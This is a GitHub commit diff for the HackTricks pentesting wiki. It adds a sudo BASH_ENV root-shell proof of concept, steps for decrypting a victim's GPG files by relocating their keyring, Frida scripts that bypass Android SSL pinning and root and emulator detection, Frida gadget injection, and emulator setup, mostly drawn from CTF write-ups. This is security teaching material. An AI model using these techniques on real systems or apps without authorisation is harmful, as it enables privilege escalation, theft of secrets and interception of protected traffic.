Skip to content

Commit a30a1c7

Browse files
committed
Merge branch 'master' of github.com:HackTricks-wiki/hacktricks
2 parents 06f8b98 + 74cc86a commit a30a1c7

18 files changed

Lines changed: 1048 additions & 31 deletions

File tree

src/SUMMARY.md

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -447,6 +447,7 @@
447447
- [NextJS](network-services-pentesting/pentesting-web/nextjs.md)
448448
- [Nginx](network-services-pentesting/pentesting-web/nginx.md)
449449
- [NodeJS Express](network-services-pentesting/pentesting-web/nodejs-express.md)
450+
- [Sitecore](network-services-pentesting/pentesting-web/sitecore/README.md)
450451
- [PHP Tricks](network-services-pentesting/pentesting-web/php-tricks-esp/README.md)
451452
- [PHP - Useful Functions & disable_functions/open_basedir bypass](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md)
452453
- [disable_functions bypass - php-fpm/FastCGI](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md)
@@ -493,6 +494,7 @@
493494
- [135, 593 - Pentesting MSRPC](network-services-pentesting/135-pentesting-msrpc.md)
494495
- [137,138,139 - Pentesting NetBios](network-services-pentesting/137-138-139-pentesting-netbios.md)
495496
- [139,445 - Pentesting SMB](network-services-pentesting/pentesting-smb/README.md)
497+
- [Ksmbd Attack Surface And Fuzzing Syzkaller](network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md)
496498
- [rpcclient enumeration](network-services-pentesting/pentesting-smb/rpcclient-enumeration.md)
497499
- [143,993 - Pentesting IMAP](network-services-pentesting/pentesting-imap.md)
498500
- [161,162,10161,10162/udp - Pentesting SNMP](network-services-pentesting/pentesting-snmp/README.md)
@@ -929,4 +931,3 @@
929931
- [Post Exploitation](todo/post-exploitation.md)
930932
- [Investment Terms](todo/investment-terms.md)
931933
- [Cookies Policy](todo/cookies-policy.md)
932-

src/linux-hardening/linux-post-exploitation/README.md

Lines changed: 28 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -53,6 +53,33 @@ The Pluggable Authentication Module (PAM) is a system used under Linux for user
5353
> [!TIP]
5454
> You can automate this process with [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
5555
56-
{{#include ../../banners/hacktricks-training.md}}
56+
## Decrypting GPG loot via homedir relocation
57+
58+
If you find an encrypted `.gpg` file and a user’s `~/.gnupg` folder (pubring, private-keys, trustdb) but you can’t decrypt due to GnuPG homedir permissions/locks, copy the keyring to a writable location and use it as your GPG home.
59+
60+
Typical errors you’ll see without this: "unsafe ownership on homedir", "failed to create temporary file", or "decryption failed: No secret key" (because GPG can’t read/write the original homedir).
5761

62+
Workflow:
63+
64+
```bash
65+
# 1) Stage a writable homedir and copy the victim's keyring
66+
mkdir -p /dev/shm/fakehome/.gnupg
67+
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
68+
# 2) Ensure ownership & perms are sane for gnupg
69+
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
70+
chmod 700 /dev/shm/fakehome/.gnupg
71+
# 3) Decrypt using the relocated homedir (either flag works)
72+
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
73+
# or
74+
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
75+
```
5876

77+
If the secret key material is present in `private-keys-v1.d`, GPG will unlock and decrypt without prompting for a passphrase (or it will prompt if the key is protected).
78+
79+
80+
## References
81+
82+
- [0xdf – HTB Environment (GPG homedir relocation to decrypt loot)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
83+
- [GnuPG Manual – Home directory and GNUPGHOME](https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration-Options.html#index-homedir)
84+
85+
{{#include ../../banners/hacktricks-training.md}}

src/linux-hardening/privilege-escalation/README.md

Lines changed: 29 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -886,6 +886,33 @@ This example, **based on HTB machine Admirer**, was **vulnerable** to **PYTHONPA
886886
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
887887
```
888888

889+
### BASH_ENV preserved via sudo env_keep → root shell
890+
891+
If sudoers preserves `BASH_ENV` (e.g., `Defaults env_keep+="ENV BASH_ENV"`), you can leverage Bash’s non-interactive startup behavior to run arbitrary code as root when invoking an allowed command.
892+
893+
- Why it works: For non-interactive shells, Bash evaluates `$BASH_ENV` and sources that file before running the target script. Many sudo rules allow running a script or a shell wrapper. If `BASH_ENV` is preserved by sudo, your file is sourced with root privileges.
894+
895+
- Requirements:
896+
- A sudo rule you can run (any target that invokes `/bin/bash` non-interactively, or any bash script).
897+
- `BASH_ENV` present in `env_keep` (check with `sudo -l`).
898+
899+
- PoC:
900+
901+
```bash
902+
cat > /dev/shm/shell.sh <<'EOF'
903+
#!/bin/bash
904+
/bin/bash
905+
EOF
906+
chmod +x /dev/shm/shell.sh
907+
BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/binary that triggers bash
908+
# You should now have a root shell
909+
```
910+
911+
- Hardening:
912+
- Remove `BASH_ENV` (and `ENV`) from `env_keep`, prefer `env_reset`.
913+
- Avoid shell wrappers for sudo-allowed commands; use minimal binaries.
914+
- Consider sudo I/O logging and alerting when preserved env vars are used.
915+
889916
### Sudo execution bypassing paths
890917

891918
**Jump** to read other files or use **symlinks**. For example in sudoers file: _hacker10 ALL= (root) /bin/less /var/log/\*_
@@ -1707,6 +1734,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
17071734
- [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
17081735
- [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/)
17091736
- [0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html)
1710-
- [GNU Bash Reference Manual – Shell Arithmetic](https://www.gnu.org/software/bash/manual/bash.html#Shell-Arithmetic)
1737+
- [GNU Bash Manual – BASH_ENV (non-interactive startup file)](https://www.gnu.org/software/bash/manual/bash.html#index-BASH_005fENV)
1738+
- [0xdf – HTB Environment (sudo env_keep BASH_ENV → root)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
17111739
17121740
{{#include ../../banners/hacktricks-training.md}}

src/mobile-pentesting/android-app-pentesting/README.md

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -291,6 +291,14 @@ You need to activate the **debugging** options and it will be cool if you can **
291291
> Once you have installed the application, the first thing you should do is to try it and investigate what does it do, how does it work and get comfortable with it.\
292292
> I will suggest to **perform this initial dynamic analysis using MobSF dynamic analysis + pidcat**, so we will be able to **learn how the application works** while MobSF **captures** a lot of **interesting** **data** you can review later on.
293293
294+
Magisk/Zygisk quick notes (recommended on Pixel devices)
295+
- Patch boot.img with the Magisk app and flash via fastboot to get systemless root
296+
- Enable Zygisk + DenyList for root hiding; consider LSPosed/Shamiko when stronger hiding is required
297+
- Keep original boot.img to recover from OTA updates; re-patch after each OTA
298+
- For screen mirroring, use scrcpy on the host
299+
300+
301+
294302
### Unintended Data Leakage
295303

296304
**Logging**
@@ -858,6 +866,7 @@ AndroL4b is an Android security virtual machine based on ubuntu-mate includes th
858866
- [SSLPinDetect: Advanced SSL Pinning Detection for Android Security Analysis](https://petruknisme.medium.com/sslpindetect-advanced-ssl-pinning-detection-for-android-security-analysis-1390e9eca097)
859867
- [SSLPinDetect GitHub](https://github.com/aancw/SSLPinDetect)
860868
- [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns)
869+
- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
861870

862871
## Yet to try
863872

src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md

Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -41,6 +41,25 @@ These typically stub Java root/debug checks, process/service scans, and native p
4141

4242
- Codeshare: https://codeshare.frida.re/
4343

44+
## Automate with Medusa (Frida framework)
45+
46+
Medusa provides 90+ ready-made modules for SSL unpinning, root/emulator detection bypass, HTTP comms logging, crypto key interception, and more.
47+
48+
```bash
49+
git clone https://github.com/Ch0pin/medusa
50+
cd medusa
51+
pip install -r requirements.txt
52+
python medusa.py
53+
54+
# Example interactive workflow
55+
show categories
56+
use http_communications/multiple_unpinner
57+
use root_detection/universal_root_detection_bypass
58+
run com.target.app
59+
```
60+
61+
Tip: Medusa is great for quick wins before writing custom hooks. You can also cherry-pick modules and combine them with your own scripts.
62+
4463
## Step 3 — Bypass init-time detectors by attaching late
4564

4665
Many detections only run during process spawn/onCreate(). Spawn‑time injection (-f) or gadgets get caught; attaching after UI loads can slip past.
@@ -104,6 +123,14 @@ Java.perform(() => {
104123
});
105124
```
106125

126+
// Quick root detection stub example (adapt to target package/class names)
127+
Java.perform(() => {
128+
try {
129+
const RootChecker = Java.use('com.target.security.RootCheck');
130+
RootChecker.isDeviceRooted.implementation = function () { return false; };
131+
} catch (e) {}
132+
});
133+
107134
Log and neuter suspicious methods to confirm execution flow:
108135

109136
```js
@@ -116,6 +143,48 @@ Java.perform(() => {
116143
});
117144
```
118145

146+
## Bypass emulator/VM detection (Java stubs)
147+
148+
Common heuristics: Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE containing generic/goldfish/ranchu/sdk; QEMU artifacts like /dev/qemu_pipe, /dev/socket/qemud; default MAC 02:00:00:00:00:00; 10.0.2.x NAT; missing telephony/sensors.
149+
150+
Quick spoof of Build fields:
151+
```js
152+
Java.perform(function(){
153+
var Build = Java.use('android.os.Build');
154+
Build.MODEL.value = 'Pixel 7 Pro';
155+
Build.MANUFACTURER.value = 'Google';
156+
Build.BRAND.value = 'google';
157+
Build.FINGERPRINT.value = 'google/panther/panther:14/UP1A.231105.003/1234567:user/release-keys';
158+
});
159+
```
160+
161+
Complement with stubs for file existence checks and identifiers (TelephonyManager.getDeviceId/SubscriberId, WifiInfo.getMacAddress, SensorManager.getSensorList) to return realistic values.
162+
163+
## SSL pinning bypass quick hook (Java)
164+
165+
Neutralize custom TrustManagers and force permissive SSL contexts:
166+
```js
167+
Java.perform(function(){
168+
var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
169+
var SSLContext = Java.use('javax.net.ssl.SSLContext');
170+
171+
// No-op validations
172+
X509TrustManager.checkClientTrusted.implementation = function(){ };
173+
X509TrustManager.checkServerTrusted.implementation = function(){ };
174+
175+
// Force permissive TrustManagers
176+
var TrustManagers = [ X509TrustManager.$new() ];
177+
var SSLContextInit = SSLContext.init.overload('[Ljavax.net.ssl.KeyManager;','[Ljavax.net.ssl.TrustManager;','java.security.SecureRandom');
178+
SSLContextInit.implementation = function(km, tm, sr){
179+
return SSLContextInit.call(this, km, TrustManagers, sr);
180+
};
181+
});
182+
```
183+
184+
Notes
185+
- Extend for OkHttp: hook okhttp3.CertificatePinner and HostnameVerifier as needed, or use a universal unpinning script from CodeShare.
186+
- Run example: `frida -U -f com.target.app -l ssl-bypass.js --no-pause`
187+
119188
## Step 6 — Follow the JNI/native trail when Java hooks fail
120189

121190
Trace JNI entry points to locate native loaders and detection init:
@@ -165,6 +234,8 @@ Notes:
165234
- Requires apktool; ensure a current version from the official guide to avoid build issues: https://apktool.org/docs/install
166235
- Gadget injection enables instrumentation without root but can still be caught by stronger init‑time checks.
167236

237+
Optionally, add LSPosed modules and Shamiko for stronger root hiding in Zygisk environments, and curate DenyList to cover child processes.
238+
168239
References:
169240
- Objection: https://github.com/sensepost/objection
170241

@@ -226,5 +297,7 @@ apk-mitm app.apk
226297
- [r2frida](https://github.com/nowsecure/r2frida)
227298
- [Apktool install guide](https://apktool.org/docs/install)
228299
- [Magisk](https://github.com/topjohnwu/Magisk)
300+
- [Medusa (Android Frida framework)](https://github.com/Ch0pin/medusa)
301+
- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
229302

230303
{{#include ../../banners/hacktricks-training.md}}

src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md

Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -208,6 +208,59 @@ However there are **a lot of different command line useful options** that you ca
208208
- `-screen {touch(default)|multi-touch|o-touch}` : Set emulated touch screen mode.
209209
- **`-writable-system`** : Use this option to have a writable system image during your emulation session. You will need also to run `adb root; adb remount`. This is very useful to install a new certificate in the system.
210210

211+
## Linux CLI setup (SDK/AVD quickstart)
212+
213+
The official CLI tools make it easy to create fast, debuggable emulators without Android Studio.
214+
215+
```bash
216+
# Directory layout
217+
mkdir -p ~/Android/cmdline-tools/latest
218+
219+
# Download commandline tools (Linux)
220+
wget https://dl.google.com/android/repository/commandlinetools-linux-13114758_latest.zip -O /tmp/cmdline-tools.zip
221+
unzip /tmp/cmdline-tools.zip -d ~/Android/cmdline-tools/latest
222+
rm /tmp/cmdline-tools.zip
223+
224+
# Env vars (add to ~/.bashrc or ~/.zshrc)
225+
export ANDROID_HOME=$HOME/Android
226+
export PATH=$ANDROID_HOME/cmdline-tools/latest/bin:$ANDROID_HOME/platform-tools:$ANDROID_HOME/emulator:$PATH
227+
228+
# Install core SDK components
229+
sdkmanager --install "platform-tools" "emulator"
230+
231+
# Install a debuggable x86_64 system image (Android 11 / API 30)
232+
sdkmanager --install "system-images;android-30;google_apis;x86_64"
233+
234+
# Create an AVD and run it with a writable /system & snapshot name
235+
avdmanager create avd -n PixelRootX86 -k "system-images;android-30;google_apis;x86_64" -d "pixel"
236+
emulator -avd PixelRootX86 -writable-system -snapshot PixelRootX86_snap
237+
238+
# Verify root (debuggable images allow `adb root`)
239+
adb root
240+
adb shell whoami # expect: root
241+
```
242+
243+
Notes
244+
- System image flavors: google_apis (debuggable, allows adb root), google_apis_playstore (not rootable), aosp/default (lightweight).
245+
- Build types: userdebug often allows `adb root` on debug-capable images. Play Store images are production builds and block root.
246+
- On x86_64 hosts, full-system ARM64 emulation is unsupported from API 28+. For Android 11+ use Google APIs/Play images that include per-app ARM-to-x86 translation to run many ARM-only apps quickly.
247+
248+
### Snapshots from CLI
249+
250+
```bash
251+
# Save a clean snapshot from the running emulator
252+
adb -s emulator-5554 emu avd snapshot save my_clean_setup
253+
254+
# Boot from a named snapshot (if it exists)
255+
emulator -avd PixelRootX86 -writable-system -snapshot my_clean_setup
256+
```
257+
258+
## ARM→x86 binary translation (Android 11+)
259+
260+
Google APIs and Play Store images on Android 11+ can translate ARM app binaries per process while keeping the rest of the system native x86/x86_64. This is often fast enough to test many ARM-only apps on desktop.
261+
262+
> Tip: Prefer Google APIs x86/x86_64 images during pentests. Play images are convenient but block `adb root`; use them only when you specifically require Play services and accept the lack of root.
263+
211264
## Rooting a Play Store device
212265

213266
If you downloaded a device with Play Store you are not going to be able to get root directly, and you will get this error message
@@ -236,6 +289,12 @@ You can **use the GUI** to take a snapshot of the VM at any time:
236289

237290
![](<../../images/image (234).png>)
238291

292+
## References
293+
294+
- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
295+
- [Android Emulator command line](https://developer.android.com/studio/run/emulator-commandline)
296+
- [Run ARM apps on the Android Emulator (x86 translation)](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)
297+
239298
{{#include ../../banners/hacktricks-training.md}}
240299

241300

src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md

Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -26,6 +26,64 @@ frida-ps -U #List packages and processes
2626
frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
2727
```
2828

29+
## Frida server vs. Gadget (root vs. no-root)
30+
31+
Two common ways to instrument Android apps with Frida:
32+
33+
- Frida server (rooted devices): Push and run a native daemon that lets you attach to any process.
34+
- Frida Gadget (no root): Bundle Frida as a shared library inside the APK and auto-load it within the target process.
35+
36+
Frida server (rooted)
37+
38+
```bash
39+
# Download the matching frida-server binary for your device's arch
40+
# https://github.com/frida/frida/releases
41+
adb root
42+
adb push frida-server-<ver>-android-<arch> /data/local/tmp/frida-server
43+
adb shell chmod 755 /data/local/tmp/frida-server
44+
adb shell /data/local/tmp/frida-server & # run at boot via init/magisk if desired
45+
46+
# From host, list processes and attach
47+
frida-ps -Uai
48+
frida -U -n com.example.app
49+
```
50+
51+
Frida Gadget (no-root)
52+
53+
1) Unpack the APK, add the gadget .so and config:
54+
- Place libfrida-gadget.so into lib/<abi>/ (e.g., lib/arm64-v8a/)
55+
- Create assets/frida-gadget.config with your script loading settings
56+
57+
Example frida-gadget.config
58+
```json
59+
{
60+
"interaction": { "type": "script", "path": "/sdcard/ssl-bypass.js" },
61+
"runtime": { "logFile": "/sdcard/frida-gadget.log" }
62+
}
63+
```
64+
65+
2) Reference/load the gadget so it’s initialized early:
66+
- Easiest: Add a small Java stub to System.loadLibrary("frida-gadget") in Application.onCreate(), or use native lib loading already present.
67+
68+
3) Repack and sign the APK, then install:
69+
```bash
70+
apktool d app.apk -o app_m
71+
# ... add gadget .so and config ...
72+
apktool b app_m -o app_gadget.apk
73+
uber-apk-signer -a app_gadget.apk -o out_signed
74+
adb install -r out_signed/app_gadget-aligned-debugSigned.apk
75+
```
76+
77+
4) Attach from host to the gadget process:
78+
```bash
79+
frida-ps -Uai
80+
frida -U -n com.example.app
81+
```
82+
83+
Notes
84+
- Gadget is detected by some protections; keep names/paths stealthy and load late/conditionally if needed.
85+
- On hardened apps, prefer rooted testing with server + late attach, or combine with Magisk/Zygisk hiding.
86+
2987
## Tutorials
3088

3189
### [Tutorial 1](frida-tutorial-1.md)
@@ -202,6 +260,12 @@ Java.choose("com.example.a11x256.frida_test.my_activity", {
202260
- [Part 1 of Advanced Frida Usage blog series: IOS Encryption Libraries](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
203261
204262
263+
## References
264+
265+
- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
266+
- [Frida Gadget documentation](https://frida.re/docs/gadget/)
267+
- [Frida releases (server binaries)](https://github.com/frida/frida/releases)
268+
205269
{{#include ../../../banners/hacktricks-training.md}}
206270
207271

0 commit comments

Comments
 (0)